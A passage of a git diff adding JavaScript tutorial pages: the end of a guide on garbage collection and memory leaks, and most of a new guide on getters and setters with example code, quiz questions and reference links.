goes out of scope here + // It becomes eligible for GC automatically +} + +const result = processData() +// largeArray is already unreachable +``` + +### 2. Nullify References to Large Objects When Done Early + +If you're done with a large object but the function continues running, explicitly nullify it: + +```javascript +function longRunningTask() { + let hugeData = fetchHugeDataset() // 100MB of data + + const summary = processSummary(hugeData) + + hugeData = null // Allow GC to reclaim 100MB now + + // ... lots more code that doesn't need hugeData ... + + return summary +} +``` + +### 3. Avoid Accidental Global Variables + +Accidental globals stay alive forever: + +```javascript +function oops() { + // Forgot 'let' or 'const' - creates global variable! + leaked = { huge: new Array(1000000) } +} + +oops() +// 'leaked' is now a global variable +// It will never be garbage collected! + +// Fix: Always use let, const, or var +function fixed() { + const notLeaked = { huge: new Array(1000000) } +} +``` + +<Tip> +Use strict mode (`'use strict'`) to catch accidental globals. Assignment to undeclared variables throws an error instead of creating a global. +</Tip> + +### 4. Be Careful with Closures + +Closures capture variables from their outer scope. If a closure lives long, so do its captured variables: + +```javascript +function createHandler() { + const hugeData = new Array(1000000).fill('x') + + return function handler() { + // This closure captures 'hugeData' + // Even if handler() never uses hugeData directly, + // some engines may keep it alive + console.log('Handler called') + } +} + +const handler = createHandler() +// 'hugeData' may be kept alive as long as 'handler' exists +// Even though handler() doesn't use it! + +// Better: Don't capture what you don't need +function createBetterHandler() { + const hugeData = new Array(1000000).fill('x') + const summary = hugeData.length // Extract what you need + + return function handler() { + console.log('Data size was:', summary) + } + // hugeData goes out of scope, only 'summary' is captured +} +``` + +### 5. Clean Up Event Listeners and Timers + +Forgotten event listeners and timers are common sources of memory leaks: + +```javascript +// Memory leak: listener keeps element and handler alive +function setupButton() { + const button = document.getElementById('myButton') + const data = { huge: new Array(1000000) } + + button.addEventListener('click', () => { + console.log(data.huge.length) + }) + + // If you never remove this listener, 'data' stays alive forever +} + +// Fix: Remove listeners when done +function setupButtonCorrectly() { + const button = document.getElementById('myButton') + const data = { huge: new Array(1000000) } + + function handleClick() { + console.log(data.huge.length) + } + + button.addEventListener('click', handleClick) + + // Later, when cleaning up: + return function cleanup() { + button.removeEventListener('click', handleClick) + // Now 'data' can be garbage collected + } +} +``` + +Same with timers: + +```javascript +// Memory leak: interval runs forever +const data = { huge: new Array(1000000) } +setInterval(() => { + console.log(data.huge.length) +}, 1000) +// This interval keeps 'data' alive forever + +// Fix: Clear intervals when done +const data = { huge: new Array(1000000) } +const intervalId = setInterval(() => { + console.log(data.huge.length) +}, 1000) + +// Later: +clearInterval(intervalId) +// Now 'data' can be garbage collected +``` + +--- + +## WeakRef and FinalizationRegistry + +ES2021 introduced two features that let you interact more directly with garbage collection: `WeakRef` and `FinalizationRegistry`. These are advanced features for specific use cases. + +<Warning> +**Avoid these unless you have a specific need.** GC timing is unpredictable, and relying on it leads to fragile code. See [WeakRef](/beyond/concepts/weakmap-weakset) and the MDN documentation for details. +</Warning> + +```javascript +// WeakRef: Hold a reference that doesn't prevent GC +const weakRef = new WeakRef(someObject) + +// Later: object might have been collected +const obj = weakRef.deref() +if (obj) { + // Object still exists +} else { + // Object was garbage collected +} +``` + +For most applications, `WeakMap` and `WeakSet` are better choices. They allow objects to be garbage collected when no other references exist, without the complexity of `WeakRef`. + +--- + +## Common Mistakes + +<AccordionGroup> + <Accordion title="Thinking 'delete' frees memory immediately"> + The `delete` operator removes a property from an object. It doesn't immediately free memory or trigger garbage collection. + + ```javascript + const obj = { data: new Array(1000000) } + + delete obj.data // Removes the property + // But memory isn't freed until GC runs + // AND only if nothing else references that array + + // This is also bad for performance (changes hidden class) + // Better: set to undefined or restructure your code + obj.data = undefined + ``` + </Accordion> + + <Accordion title="Setting everything to null 'to help GC'"> + Obsessively nullifying variables doesn't help and hurts readability: + + ```javascript + // Don't do this + function process() { + let a = getData() + let result = transform(a) + a = null // Unnecessary! + let b = getMoreData() + let final = combine(result, b) + result = null // Unnecessary! + b = null // Unnecessary! + return final + } + + // Just let variables go out of scope naturally + function process() { + const a = getData() + const result = transform(a) + const b = getMoreData() + return combine(result, b) + } + ``` + + Only nullify when: (1) you're done with a **large** object, (2) the function continues running for a while, and (3) you've measured that it helps. + </Accordion> + + <Accordion title="Storing references in long-lived caches"> + Caches that grow without bounds cause memory leaks: + + ```javascript + // Memory leak: cache grows forever + const cache = {} + + function getCached(key) { + if (!cache[key]) { + cache[key] = expensiveComputation(key) + } + return cache[key] + } + + // Better: Use WeakMap (if keys are objects) + const cache = new WeakMap() + + function getCached(obj) { + if (!cache.has(obj)) { + cache.set(obj, expensiveComputation(obj)) + } + return cache.get(obj) + } + // Cache entries are automatically removed when keys are GC'd + + // Or: Use an LRU cache with a maximum size + ``` + </Accordion> + + <Accordion title="Forgetting to unsubscribe from observables/events"> + Subscriptions keep callbacks (and their closures) alive: + + ```javascript + // Memory leak in React component (class-style) + class MyComponent extends React.Component { + componentDidMount() { + this.subscription = eventEmitter.subscribe(data => { + this.setState({ data }) // 'this' keeps component alive + }) + } + + // Forgot componentWillUnmount! + // Component instance stays in memory forever + + // Fix: + componentWillUnmount() { + this.subscription.unsubscribe() + } + } + ``` + </Accordion> + + <Accordion title="Circular references between JS and DOM (old IE)"> + This was a problem in old Internet Explorer but is not an issue in modern browsers: + + ```javascript + // Historical problem (IE6/7): + const div = document.createElement('div') + const obj = {} + + div.myObject = obj // DOM → JS reference + obj.myElement = div // JS → DOM reference + + // In old IE with reference counting, this leaked + // In modern browsers with mark-and-sweep, this is fine + ``` + + Modern browsers handle this correctly. Both objects become garbage when unreachable from roots. + </Accordion> +</AccordionGroup> + +--- + +## Key Takeaways + +<Info> +**The key things to remember:** + +1. **JavaScript has automatic garbage collection.** You don't manually allocate or free memory. The engine handles it. + +2. **Reachability determines what's garbage.** Objects reachable from roots (globals, stack, closures) are kept alive. Everything else is garbage. + +3. **Mark-and-sweep is the standard algorithm.** The collector marks reachable objects, then sweeps (frees) everything unmarked. + +4. **Circular references aren't a problem.** Mark-and-sweep handles them correctly. Objects that only reference each other (but aren't reachable from roots) get collected. + +5. **Generational GC makes collection fast.** Most objects die young, so engines collect the young generation frequently and cheaply. + +6. **You can't control when GC runs.** The engine decides based on memory pressure, idle time, and internal heuristics. + +7. **Don't over-optimize for GC.** Let variables go out of scope naturally. Only nullify large objects early if you've measured a benefit. + +8. **Watch for common leak patterns:** Forgotten event listeners, uncleaned timers, unbounded caches, and closures capturing large objects. + +9. **Use WeakMap/WeakSet for caches.** They allow keys to be garbage collected, preventing unbounded growth. + +10. **For deep V8 internals, see the JavaScript Engines guide.** Scavenger, Mark-Compact, concurrent marking, and other advanced topics are covered there. +</Info> + +--- + +## Test Your Knowledge + +<AccordionGroup> + <Accordion title="Question 1: Will the object { name: 'Alice' } be garbage collected?"> + ```javascript + let user = { name: 'Alice' } + let admin = user + user = null + ``` + + **Answer:** + + No, the object will NOT be garbage collected. Even though `user` is set to `null`, `admin` still holds a reference to the object. The object is still reachable (through `admin`), so it stays alive. + + ```javascript + // To make it eligible for GC: + admin = null // Now no references remain + ``` + </Accordion> + + <Accordion title="Question 2: Do circular references cause memory leaks in modern JavaScript?"> + **Answer:** + + No. Modern JavaScript engines use mark-and-sweep garbage collection, which handles circular references correctly. Objects are collected based on **reachability from roots**, not reference counts. + + ```javascript + function createCycle() { + let a = {} + let b = {} + a.ref = b + b.ref = a + } + createCycle() + // Both objects are collected after the function returns + // The circular reference doesn't keep them alive + ``` + + Circular references only caused leaks in old browsers (IE6/7) that used reference counting for DOM objects. + </Accordion> + + <Accordion title="Question 3: How can you force garbage collection in JavaScript?"> + **Answer:** + + You cannot force garbage collection in JavaScript. There is no `gc()` function or equivalent in the language specification. + + The garbage collector runs automatically when the engine decides it's needed. You can only influence what becomes *eligible* for collection by removing references to objects. + + Some environments (like Node.js with `--expose-gc` flag) expose a `gc()` function for debugging, but this should never be used in production code. + </Accordion> + + <Accordion title="Question 4: What's wrong with this code?"> + ```javascript + function setupClickHandler() { + const largeData = new Array(1000000).fill('x') + + document.getElementById('btn').addEventListener('click', () => { + console.log('clicked!') + }) + } + ``` + + **Answer:** + + There's a potential memory leak. Even though the click handler doesn't use `largeData`, the closure may capture the entire scope, keeping `largeData` alive as long as the event listener exists. + + Additionally, the event listener is never removed, so it (and potentially `largeData`) will stay in memory forever. + + **Fixes:** + 1. Move `largeData` outside the function if it's needed, or extract only what you need + 2. Provide a way to remove the event listener + + ```javascript + function setupClickHandler() { + const handler = () => console.log('clicked!') + document.getElementById('btn').addEventListener('click', handler) + + return () => { + document.getElementById('btn').removeEventListener('click', handler) + } + } + + const cleanup = setupClickHandler() + // Later: cleanup() to remove the listener + ``` + </Accordion> + + <Accordion title="Question 5: Why is generational garbage collection effective?"> + **Answer:** + + Generational garbage collection is effective because of the **generational hypothesis**: most objects die young. + + Temporary variables, intermediate results, and short-lived objects are created and discarded quickly. Only a small percentage of objects (app state, caches) live long. + + By dividing memory into generations: + - The young generation is collected frequently and cheaply (most objects there are garbage) + - The old generation is collected less often (objects there are likely to survive) + + This approach minimizes the time spent on garbage collection while still reclaiming memory effectively. + </Accordion> + + <Accordion title="Question 6: What does mark-and-sweep mark?"> + **Answer:** + + Mark-and-sweep marks **reachable objects**, not garbage. + + The algorithm: + 1. Starts from roots (globals, stack, closures) + 2. Follows all references, marking each object it can reach + 3. After marking, sweeps through memory and frees all **unmarked** objects + + Unmarked objects are garbage because they couldn't be reached from any root. + </Accordion> +</AccordionGroup> + +--- + +## Related Concepts + +<CardGroup cols={2}> + <Card title="JavaScript Engines" icon="microchip" href="/concepts/javascript-engines"> + Deep dive into V8's garbage collection: Scavenger, Mark-Compact, concurrent marking, and optimization techniques. + </Card> + <Card title="Scope and Closures" icon="lock" href="/concepts/scope-and-closures"> + Understanding closures is key to understanding what keeps objects alive and why some memory leaks occur. + </Card> + <Card title="WeakMap & WeakSet" icon="link-slash" href="/beyond/concepts/weakmap-weakset"> + Data structures with weak references that allow keys to be garbage collected when no other references exist. + </Card> + <Card title="Value vs Reference Types" icon="code-branch" href="/concepts/value-reference-types"> + How JavaScript stores primitives vs objects, and why references matter for garbage collection. + </Card> +</CardGroup> + +--- + +## Reference + +<CardGroup cols={2}> + <Card title="Memory Management — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Memory_management"> + Official MDN guide covering the memory lifecycle, garbage collection algorithms, and data structures that aid memory management. + The authoritative reference for understanding how JavaScript handles memory automatically. + </Card> + <Card title="WeakRef — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakRef"> + API reference for creating weak references that don't prevent garbage collection. + Essential reading for advanced patterns involving GC-observable references (ES2021+). + </Card> + <Card title="FinalizationRegistry — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/FinalizationRegistry"> + API reference for registering cleanup callbacks when objects are garbage collected. + Covers use cases, limitations, and why you should avoid relying on cleanup timing. + </Card> +</CardGroup> + +## Articles + +<CardGroup cols={2}> + <Card title="Garbage Collection — javascript.info" icon="newspaper" href="https://javascript.info/garbage-collection"> + Beginner-friendly explanation of reachability, the mark-and-sweep algorithm, and why circular references aren't a problem. + Excellent diagrams showing exactly how objects become garbage step-by-step. + </Card> + <Card title="Trash talk: the Orinoco garbage collector — V8 Blog" icon="newspaper" href="https://v8.dev/blog/trash-talk"> + Deep dive into V8's Orinoco garbage collector covering parallel, incremental, and concurrent techniques. + The definitive resource for understanding how modern JavaScript engines minimize GC pause times. + </Card> + <Card title="A tour of V8: Garbage Collection — Jay Conrod" icon="newspaper" href="https://jayconrod.com/posts/55/a-tour-of-v8-garbage-collection"> + Technical walkthrough of V8's generational garbage collector, including the Scavenger and Mark-Compact algorithms. + Great for developers who want to understand the engineering behind automatic memory management. + </Card> + <Card title="Visualizing memory management in V8 — Deepu K Sasidharan" icon="newspaper" href="https://deepu.tech/memory-management-in-v8/"> + Colorful diagrams illustrating how V8 organizes the heap into generations and how objects move between them. + Perfect for visual learners who want to see GC in action. + </Card> + <Card title="Fixing Memory Leaks — web.dev" icon="newspaper" href="https://web.dev/articles/fixing-memory-leaks"> + Practical guide to identifying and fixing the most common memory leak patterns in JavaScript applications. + Includes Chrome DevTools techniques for heap snapshot analysis. + </Card> +</CardGroup> + +## Videos + +<CardGroup cols={2}> + <Card title="Orinoco: The V8 Garbage Collector — Peter Marshall" icon="video" href="https://www.youtube.com/watch?v=Scxz6jVS4Ls"> + Chrome Dev Summit talk by a V8 engineer explaining how Orinoco achieves low-latency garbage collection. + See the parallel and concurrent techniques that make modern GC nearly invisible. + </Card> + <Card title="JavaScript Memory Management Masterclass — Steve Kinney" icon="video" href="https://www.youtube.com/watch?v=LaxbdIyBkL0"> + Frontend Masters preview covering memory leaks, profiling with DevTools, and GC-friendly coding patterns. + Practical advice for building memory-efficient applications. + </Card> + <Card title="Garbage Collection in 100 Seconds — Fireship" icon="video" href="https://www.youtube.com/watch?v=0m0EwbCQhQE"> + Lightning-fast overview of garbage collection concepts across programming languages including JavaScript. + Perfect quick refresher on why automatic memory management exists. + </Card> + <Card title="What the heck is the event loop anyway? — Philip Roberts" icon="video" href="https://www.youtube.com/watch?v=8aGhZQkoFbQ"> + The legendary JSConf talk that visualizes the call stack and event loop. + While focused on the event loop, it provides essential context for understanding memory and execution. + </Card> +</CardGroup> diff --git a/docs/beyond/concepts/getters-setters.mdx b/docs/beyond/concepts/getters-setters.mdx new file mode 100644 index 00000000..3d274912 --- /dev/null +++ b/docs/beyond/concepts/getters-setters.mdx @@ -0,0 +1,1214 @@ +--- +title: "Getters & Setters: Computed Properties in JavaScript" +sidebarTitle: "Getters & Setters: Computed Properties" +description: "Learn JavaScript getters and setters. Create computed properties, validate data on assignment, and build encapsulated objects with get and set accessors." +--- + +How do you create a property that calculates its value on the fly? What if you want to validate data every time someone assigns a value? And how do you make a property that looks normal but does something behind the scenes? + +```javascript +const user = { + firstName: "Alice", + lastName: "Smith", + + // This looks like a property, but it's actually a function + get fullName() { + return `${this.firstName} ${this.lastName}` + } +} + +// Access it like a property — no parentheses! +console.log(user.fullName) // "Alice Smith" + +// It recalculates every time +user.firstName = "Bob" +console.log(user.fullName) // "Bob Smith" +``` + +**Getters and setters** are special functions that look and behave like regular properties. A [getter](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/get) is called when you read a property. A [setter](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/set) is called when you assign to it. They let you add logic to property access without changing how the property is used. + +<Info> +**What you'll learn in this guide:** +- What getters and setters are and why they're useful +- How to define them in object literals and classes +- The backing property pattern to avoid infinite loops +- Using [`Object.defineProperty()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty) for accessor descriptors +- Common use cases: computed values, validation, encapsulation +- Getter-only (read-only) and setter-only (write-only) properties +- How getters and setters work with inheritance +- Performance considerations and caching patterns +</Info> + +<Warning> +**Prerequisite:** This guide builds on [Property Descriptors](/beyond/concepts/property-descriptors). Understanding data vs accessor descriptors will help you get the most from this guide. +</Warning> + +--- + +## What Are Getters and Setters? + +**Getters** and **setters** are functions disguised as properties. When you access a getter, JavaScript calls the function and returns its result. When you assign to a setter, JavaScript calls the function with the assigned value. The key difference from regular methods is the syntax: no parentheses. + +```javascript +const circle = { + radius: 5, + + // Getter — called when you READ circle.area + get area() { + return Math.PI * this.radius ** 2 + }, + + // Setter — called when you WRITE circle.diameter = value + set diameter(value) { + this.radius = value / 2 + } +} + +// Getters: access like a property +console.log(circle.area) // 78.53981633974483 +console.log(circle.area) // Same — recalculates each time + +// Setters: assign like a property +circle.diameter = 20 +console.log(circle.radius) // 10 (setter updated it) +console.log(circle.area) // 314.159... (getter recalculates) +``` + +### Getters vs Methods + +The difference is purely syntactic, but it affects how you think about and use the property: + +```javascript +const rectangle = { + width: 10, + height: 5, + + // Method — requires parentheses + calculateArea() { + return this.width * this.height + }, + + // Getter — no parentheses + get area() { + return this.width * this.height + } +} + +// Method call +console.log(rectangle.calculateArea()) // 50 + +// Getter access +console.log(rectangle.area) // 50 + +// Forgetting parentheses on method returns the function itself +console.log(rectangle.calculateArea) // [Function: calculateArea] + +// But getters are called automatically +console.log(rectangle.area) // 50 (not the function) +``` + +<Tip> +**When to use which?** Use getters when the value feels like a property (area, fullName, isValid). Use methods when it feels like an action (calculate, fetch, validate). +</Tip> + +--- + +## The Vending Machine Analogy + +Think of an object as a vending machine. Regular properties are like items sitting on a shelf. You can see them and grab them directly. But getters and setters add a layer of interaction. + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ GETTERS & SETTERS: THE VENDING MACHINE │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ REGULAR PROPERTY GETTER │ +│ ──────────────── ────── │ +│ ┌─────────────┐ ┌─────────────┐ │ +│ │ SHELF │ │ DISPLAY │ │ +│ │ ┌─────┐ │ │ ┌─────┐ │ │ +│ │ │ 🥤 │ │ ← Grab directly │ │ ?? │ │ ← Press button │ +│ │ └─────┘ │ │ └─────┘ │ to dispense │ +│ └─────────────┘ │ ▼ │ │ +│ obj.drink │ ┌─────┐ │ │ +│ │ │ 🥤 │ │ ← Machine makes │ +│ │ └─────┘ │ it for you │ +│ └─────────────┘ │ +│ obj.freshDrink (getter) │ +│ │ +│ SETTER │ +│ ────── │ +│ ┌─────────────────────────────────────┐ │ +│ │ COIN SLOT │ │ +│ │ ┌─────┐ │ │ +│ │ │ 💰 │ → Insert money │ ← Machine validates, │ +│ │ └─────┘ (setter called) │ processes, stores │ +│ │ ▼ │ │ +│ │ ┌──────────┐ │ │ +│ │ │ VALIDATE │ │ │ +│ │ │ STORE │ │ │ +│ │ └──────────┘ │ │ +│ └─────────────────────────────────────┘ │ +│ obj.balance = 5 (setter) │ +│ │ +│ The machine handles complexity. You just interact with a simple │ +│ interface — but behind the scenes, code runs. │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +--- + +## Defining Getters and Setters in Object Literals + +The most common way to define getters and setters is in object literals using the `get` and `set` keywords. + +### Basic Syntax + +```javascript +const user = { + firstName: "Alice", + lastName: "Smith", + + // Getter + get fullName() { + return `${this.firstName} ${this.lastName}` + }, + + // Setter + set fullName(value) { + const parts = value.split(" ") + this.firstName = parts[0] + this.lastName = parts[1] || "" + } +} + +// Using the getter +console.log(user.fullName) // "Alice Smith" + +// Using the setter +user.fullName = "Bob Jones" +console.log(user.firstName) // "Bob" +console.log(user.lastName) // "Jones" +``` + +### Computed Property Names + +You can use computed property names with getters and setters: + +```javascript +const propName = "status" + +const task = { + _status: "pending", + + get [propName]() { + return this._status.toUpperCase() + }, + + set [propName](value) { + this._status = value.toLowerCase() + } +} + +console.log(task.status) // "PENDING" +task.status = "DONE" +console.log(task.status) // "DONE" +console.log(task._status) // "done" +``` + +### The Backing Property Pattern + +When a getter/setter needs to store a value, you need a separate "backing" property. By convention, this is prefixed with an underscore: + +```javascript +const account = { + _balance: 0, // Backing property (by convention, "private") + + get balance() { + return this._balance + }, + + set balance(value) { + if (value < 0) { + throw new Error("Balance cannot be negative") + } + this._balance = value + } +} + +account.balance = 100 +console.log(account.balance) // 100 + +account.balance = -50 // Error: Balance cannot be negative +``` + +<Warning> +**The underscore is just a convention.** The `_balance` property is still publicly accessible. For true privacy, see [Factories & Classes](/concepts/factories-classes) which covers private fields (`#`) and closure-based privacy. +</Warning> + +--- + +## Defining Getters and Setters in Classes + +The syntax in classes is identical to object literals: + +```javascript +class Temperature { + constructor(celsius) { + this._celsius = celsius + } + + // Getter + get celsius() { + return this._celsius + } + + // Setter with validation + set celsius(value) { + if (value < -273.15) { + throw new Error("Temperature below absolute zero!") + } + this._celsius = value + } + + // Computed getter — no backing property needed + get fahrenheit() { + return this._celsius * 9/5 + 32 + } + + // Computed setter — converts and stores + set fahrenheit(value) { + this.celsius = (value - 32) * 5/9 // Uses celsius setter for validation + } + + // Read-only getter (no setter) + get kelvin() { + return this._celsius + 273.15 + } +} + +const temp = new Temperature(25) + +console.log(temp.celsius) // 25 +console.log(temp.fahrenheit) // 77 +console.log(temp.kelvin) // 298.15 + +temp.fahrenheit = 100 +console.log(temp.celsius) // 37.777... + +// temp.kelvin = 300 // TypeError in strict mode (no setter) +``` + +### Static Getters and Setters + +You can also define getters and setters on the class itself: + +```javascript +class Config { + static _debugMode = false + + static get debugMode() { + return this._debugMode + } + + static set debugMode(value) { + console.log(`Debug mode ${value ? "enabled" : "disabled"}`) + this._debugMode = value + } +} + +console.log(Config.debugMode) // false +Config.debugMode = true // "Debug mode enabled" +console.log(Config.debugMode) // true +``` + +<Note> +For comprehensive coverage of classes, including private fields (`#field`) as backing properties, see [Factories & Classes](/concepts/factories-classes). +</Note> + +--- + +## Getters and Setters with Object.defineProperty() + +You can also define getters and setters using [`Object.defineProperty()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty). This creates an **accessor descriptor** instead of a data descriptor. + +### Accessor Descriptors + +```javascript +const user = { + firstName: "Alice", + lastName: "Smith" +} + +Object.defineProperty(user, "fullName", { + get() { + return `${this.firstName} ${this.lastName}` + }, + set(value) { + const parts = value.split(" ") + this.firstName = parts[0] + this.lastName = parts[1] || "" + }, + enumerable: true, + configurable: true +}) + +console.log(user.fullName) // "Alice Smith" +user.fullName = "Bob Jones" +console.log(user.firstName) // "Bob" +``` + +### Inspecting Accessor Descriptors + +```javascript +const obj = { + get prop() { return "value" }, + set prop(v) { /* store v */ } +} + +const descriptor = Object.getOwnPropertyDescriptor(obj, "prop") +console.log(descriptor) +// { +// get: [Function: get prop], +// set: [Function: set prop], +// enumerable: true, +// configurable: true +// } + +// Note: No 'value' or 'writable' — those are for data descriptors +``` + +### The Rule: Data vs Accessor Descriptors + +A property descriptor must be **either** a data descriptor (with `value`/`writable`) **or** an accessor descriptor (with `get`/`set`). You cannot mix them. + +```javascript +// ❌ WRONG — mixing data and accessor descriptor +Object.defineProperty({}, "broken", { + value: 42, + get() { return 42 } +}) +// TypeError: Invalid property descriptor. Cannot both specify accessors +// and a value or writable attribute + +// ❌ ALSO WRONG +Object.defineProperty({}, "alsoBroken", { + writable: true, + set(v) { } +}) +// TypeError: Invalid property descriptor. +``` + +For more on property descriptors, see [Property Descriptors](/beyond/concepts/property-descriptors). + +--- + +## Common Use Cases + +### 1. Computed/Derived Properties + +Calculate a value from other properties: + +```javascript +const cart = { + items: [ + { name: "Book", price: 20, quantity: 2 }, + { name: "Pen", price: 5, quantity: 10 } + ], + + get itemCount() { + return this.items.reduce((sum, item) => sum + item.quantity, 0) + }, + + get subtotal() { + return this.items.reduce((sum, item) => sum + item.price * item.quantity, 0) + }, + + get tax() { + return this.subtotal * 0.1 + }, + + get total() { + return this.subtotal + this.tax + } +} + +console.log(cart.itemCount) // 12 +console.log(cart.subtotal) // 90 +console.log(cart.tax) // 9 +console.log(cart.total) // 99 +``` + +### 2. Data Validation + +Enforce constraints when values are assigned: + +```javascript +class User { + constructor(name, age) { + this._name = "" + this._age = 0 + + // Use setters for initial validation + this.name = name + this.age = age + } + + get name() { + return this._name + } + + set name(value) { + if (typeof value !== "string" || value.trim() === "") { + throw new Error("Name must be a non-empty string") + } + this._name = value.trim() + } + + get age() { + return this._age + } + + set age(value) { + if (typeof value !== "number" || value < 0 || value > 150) { + throw new Error("Age must be a number between 0 and 150") + } + this._age = Math.floor(value) + } +} + +const user = new User("Alice", 30) +console.log(user.name) // "Alice" +console.log(user.age) // 30 + +user.age = 31 // Works +user.age = -5 // Error: Age must be a number between 0 and 150 +user.name = "" // Error: Name must be a non-empty string +``` + +### 3. Logging and Debugging + +Track property access and changes: + +```javascript +function createTrackedObject(obj, name) { + const tracked = {} + + for (const key of Object.keys(obj)) { + let value = obj[key] + + Object.defineProperty(tracked, key, { + get() { + console.log(`[${name}] Reading ${key}: ${value}`) + return value + }, + set(newValue) { + console.log(`[${name}] Writing ${key}: ${value} → ${newValue}`) + value = newValue + }, + enumerable: true + }) + } + + return tracked +} + +const config = createTrackedObject({ debug: false, maxRetries: 3 }, "Config") + +config.debug // [Config] Reading debug: false +config.debug = true // [Config] Writing debug: false → true +config.maxRetries // [Config] Reading maxRetries: 3 +``` + +### 4. Lazy Evaluation + +Defer expensive computation until first access: + +```javascript +const report = { + _data: null, + + get data() { + if (this._data === null) { + console.log("Computing expensive data...") + // Simulate expensive computation + this._data = Array.from({ length: 1000 }, (_, i) => i * 2) + } + return this._data + } +} + +// Data not computed yet +console.log("Report created") + +// First access triggers computation +console.log(report.data.length) // "Computing expensive data..." then 1000 + +// Second access uses cached value +console.log(report.data.length) // 1000 (no log — already computed) +``` + +### 5. Reactive Patterns + +Trigger updates when values change: + +```javascript +class Observable { + constructor(value) { + this._value = value + this._listeners = [] + } + + get value() { + return this._value + } + + set value(newValue) { + const oldValue = this._value + this._value = newValue + + // Notify all listeners + this._listeners.forEach(fn => fn(newValue, oldValue)) + } + + subscribe(fn) { + this._listeners.push(fn) + return () => { + this._listeners = this._listeners.filter(f => f !== fn) + } + } +} + +const count = new Observable(0) + +// Subscribe to changes +const unsubscribe = count.subscribe((newVal, oldVal) => { + console.log(`Count changed from ${oldVal} to ${newVal}`) +}) + +count.value = 1 // "Count changed from 0 to 1" +count.value = 2 // "Count changed from 1 to 2" + +unsubscribe() +count.value = 3 // (no output — unsubscribed) +``` + +--- + +## The #1 Getter/Setter Mistake: Infinite Recursion + +The most common mistake is creating a getter or setter that calls itself, causing infinite recursion and a stack overflow. + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ INFINITE RECURSION DISASTER │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ set name(value) { ┌─────────────────────────────┐ │ +│ this.name = value ──────►│ Calls the setter again! │ │ +│ } │ ▼ │ │ +│ ▲ │ set name(value) { │ │ +│ │ │ this.name = value ───────┼───┐ │ +│ │ │ } │ │ │ +│ │ │ ▼ │ │ │ +│ │ │ set name(value) { │ │ │ +│ │ │ this.name = value ───────┼───┼──┐ │ +│ │ │ } │ │ │ │ +│ │ │ ▼ │ │ │ │ +│ │ │ ... forever until ... │ │ │ │ +│ │ │ │ │ │ │ +│ │ │ 💥 STACK OVERFLOW! 💥 │ │ │ │ +│ │ └─────────────────────────────┘ │ │ │ +│ │ │ │ │ +│ └───────────────────────────────────────────────────────┘ │ │ +│ │ │ +└────────────────────────────────────────────────────────────────────┴─────┘ +``` + +### The Wrong Way + +```javascript +// ❌ WRONG — causes infinite recursion +const user = { + get name() { + return this.name // Calls the getter again! + }, + set name(value) { + this.name = value // Calls the setter again! + } +} + +user.name = "Alice" // RangeError: Maximum call stack size exceeded +``` + +### The Right Way: Use a Backing Property + +```javascript +// ✓ CORRECT — use a different property name +const user = { + _name: "", // Backing property + + get name() { + return this._name // Reads the backing property + }, + set name(value) { + this._name = value // Writes to the backing property + } +} + +user.name = "Alice" +console.log(user.name) // "Alice" +``` + +### Alternative: Private Fields in Classes + +```javascript +// ✓ CORRECT — use private fields +class User { + #name = "" // Private field + + get name() { + return this.#name + } + + set name(value) { + this.#name = value + } +} + +const user = new User() +user.name = "Alice" +console.log(user.name) // "Alice" +// console.log(user.#name) // SyntaxError: Private field +``` + +### Alternative: Closure Variable + +```javascript +// ✓ CORRECT — use closure +function createUser() { + let name = "" // Closure variable + + return { + get name() { + return name + }, + set name(value) { + name = value + } + } +} + +const user = createUser() +user.name = "Alice" +console.log(user.name) // "Alice" +``` + +--- + +## Getter-Only and Setter-Only Properties + +### Getter-Only (Read-Only) + +If you define only a getter without a setter, the property becomes read-only: + +```javascript +"use strict" + +const circle = { + radius: 5, + + get area() { + return Math.PI * this.radius ** 2 + } + // No setter for 'area' +} + +console.log(circle.area) // 78.539... + +// Attempting to set throws in strict mode +circle.area = 100 // TypeError: Cannot set property area which has only a getter +``` + +<Note> +Without [strict mode](/beyond/concepts/strict-mode), the assignment silently fails. The value remains unchanged, but no error is thrown. +</Note> + +### Setter-Only (Write-Only) + +If you define only a setter without a getter, reading returns `undefined`: + +```javascript +const logger = { + _logs: [], + + set log(message) { + this._logs.push(`[${new Date().toISOString()}] ${message}`) + } + // No getter for 'log' +} + +logger.log = "User logged in" +logger.log = "User viewed dashboard" + +console.log(logger.log) // undefined — no getter! +console.log(logger._logs) // ["[...] User logged in", "[...] User viewed dashboard"] +``` + +Setter-only properties are rare but useful for write-only operations like logging or sending data. + +--- + +## How Getters and Setters Work with Inheritance + +Getters and setters are inherited through the prototype chain, just like regular methods. + +### Basic Inheritance + +```javascript +const animal = { + _name: "Unknown", + + get name() { + return this._name + }, + + set name(value) { + this._name = value + } +} + +// Create object that inherits from animal +const dog = Object.create(animal) + +console.log(dog.name) // "Unknown" — inherited getter + +dog.name = "Rex" // Uses inherited setter +console.log(dog.name) // "Rex" + +// dog has its own _name now +console.log(dog._name) // "Rex" +console.log(animal._name) // "Unknown" — parent unchanged +``` + +### Overriding Getters and Setters + +```javascript +class Animal { + constructor(name) { + this._name = name + } + + get name() { + return this._name + } + + set name(value) { + this._name = value + } +} + +class Dog extends Animal { + // Override getter to add prefix + get name() { + return `🐕 ${super.name}` // Use super to call parent getter + } + + // Override setter to validate + set name(value) { + if (value.length < 2) { + throw new Error("Dog name must be at least 2 characters") + } + super.name = value // Use super to call parent setter + } +} + +const dog = new Dog("Rex") +console.log(dog.name) // "🐕 Rex" + +dog.name = "Buddy" +console.log(dog.name) // "🐕 Buddy" + +dog.name = "X" // Error: Dog name must be at least 2 characters +``` + +### Deleting Reveals Inherited Getter + +```javascript +const parent = { + get value() { return "parent" } +} + +const child = Object.create(parent) + +// Define own getter +Object.defineProperty(child, "value", { + get() { return "child" }, + configurable: true +}) + +console.log(child.value) // "child" + +// Delete child's own getter +delete child.value + +console.log(child.value) // 